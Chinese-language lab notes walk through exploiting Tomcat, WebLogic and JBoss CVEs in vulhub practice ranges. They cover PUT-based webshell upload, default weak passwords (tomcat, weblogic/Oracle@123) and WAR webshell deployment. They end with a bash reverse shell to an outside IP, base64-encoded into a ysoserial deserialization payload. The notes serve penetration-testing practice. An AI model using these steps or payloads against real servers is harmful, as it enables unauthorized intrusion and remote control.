Tomcat 之CVE-2017-12615
靶场搭建使用vulhub-master/tomcat/CVE-2017-12615
第一步、访问网站
第二步、首页抓包改为put方式提交
网上找一个jsp的一句话木马
使用webshell工具链接即可
Tomcat 之tomcat8
vulhub-master/tomcat/tomcat8
继续访问页面
这次我们点击登录,弱口令tomcat
在页面最下方有一个上传war包的程序
制作WAR包,将JSP木马压缩为ZIP格式,然后修改后缀为war就可以了
上传之后打开
2.文件上传成功后,默认会在网站根目录下生成和war包名称一致得目录,然后目录中得木马就是压缩前得 文件名。
使用哥斯拉生成木马并连接即可
Tomcat 之CVE-2020-1938
搭建环境
vulhub-master/tomcat/CVE-2020-1938
tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口:
另外一个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。
python CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml ip
使用py脚本连接即可,脚本自行下载
weblogic之弱口令
vulhub-master/weblogic/weak_password
默认账号密码:weblogic/Oracle@123
weblogic常用弱口令:https://cirt.net/passwords?criteria=weblogic
这里注意,单个账号错误密码5次之后就会自动锁定:
访问ip+console
可直接跳转此页面,弱口令登录
登录后台后,点击部署,点击安装,点击上传文件。
上传war包,jsp木马压缩成zip,修改后缀为war,上传
访问部署好的war
getshell连接
weblogic之CVE-2017-3506
此项目使用与上一个项目一样的环境
验证是否存在wls-wsat组件
http://ip/wls-wsat/CoordinatorPortType
在当前页面抓包之后,添加下面请求包,在标签之间分别写存放jsp 的路径和要写入的 shell
然后访问url
http://ip/bea_wls internal/shell.jsp
也可写入反弹shell 如上图
weblogic之CVE-2019-2725
vulhub-master/weblogic/weak_password
漏洞验证_async/AsyncResponseService
抓包,写入shell
软件连接
weblogic之CVE-2018-2628
vulhub-master/weblogic/CVE-2018-2628
Jboss
JBoss是⼀个基于J2EE的开发源代码的应⽤服务器。JBoss代码遵循LGPL许可,可以在任何商业应⽤中 免费使⽤。JBoss是⼀个管理EJB的容器和服务器,⽀持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核⼼ 服务不包括⽀持servlet/JSP的WEB容器,⼀般与Tomcat或Jetty绑定使⽤。在J2EE应⽤服务器领域, JBoss是发展最为迅速应⽤服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发, 这使得JBoss⼴为流⾏。
Jboss之CVE-2015-7501
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了⽤户传⼊的对象, 然后我们利⽤Apache Commons Collections中的 Gadget 执⾏任意代码
环境搭建cd vulhub-master/jboss/JMXInvokerServlet-deserialization
访问靶场
搜索http://1.92.134.1:8080/invoker/JMXInvokerServlet 返回如下页面说明存在漏洞
下载工具进行利用https://github.com/frohoff/ysoserial
bash -i >& /dev/tcp/1.92.134.1/4444 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjkyLjEzNC4xLzQ0NDQgMD4mMQ==
java8 -jar ysoserial-all.jar CommonsCollections5 "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjkyLjEzNC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}">exp.ser